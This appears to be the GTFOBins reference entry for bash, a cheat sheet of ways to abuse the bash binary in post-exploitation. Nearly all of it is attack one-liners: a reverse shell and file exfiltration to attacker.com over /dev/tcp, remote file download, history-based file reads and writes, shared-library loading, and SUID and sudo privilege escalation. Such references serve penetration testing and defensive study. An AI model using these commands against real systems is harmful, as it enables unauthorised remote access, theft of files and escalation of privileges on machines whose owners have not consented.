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GTFOBins.github.io/_gtfobins/bash.md
2020-05-03 13:13:43 +02:00

2.4 KiB

functions
shell reverse-shell file-upload file-download file-write file-read library-load suid sudo
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bash
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Run `nc -l -p 12345` on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
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Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
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Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_send bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
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Fetch a remote file via HTTP GET request. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \ 3<>/dev/tcp/$RHOST/$RPORT \ | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
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Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. export RHOST=attacker.com export RPORT=12345 export LFILE=file_to_get bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
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export LFILE=file_to_write bash -c 'echo DATA > $LFILE'
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This adds timestamps to the output file. LFILE=file_to_write HISTIGNORE='history *' history -c DATA history -w $LFILE
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It trims trailing newlines and it's not binary-safe. export LFILE=file_to_read bash -c 'echo "$(<$LFILE)"'
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The read file content is surrounded by the current history content. LFILE=file_to_read HISTTIMEFORMAT=$'\r\e[K' history -r $LFILE history
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bash -c 'enable -f ./lib.so x'
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./bash -p
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sudo bash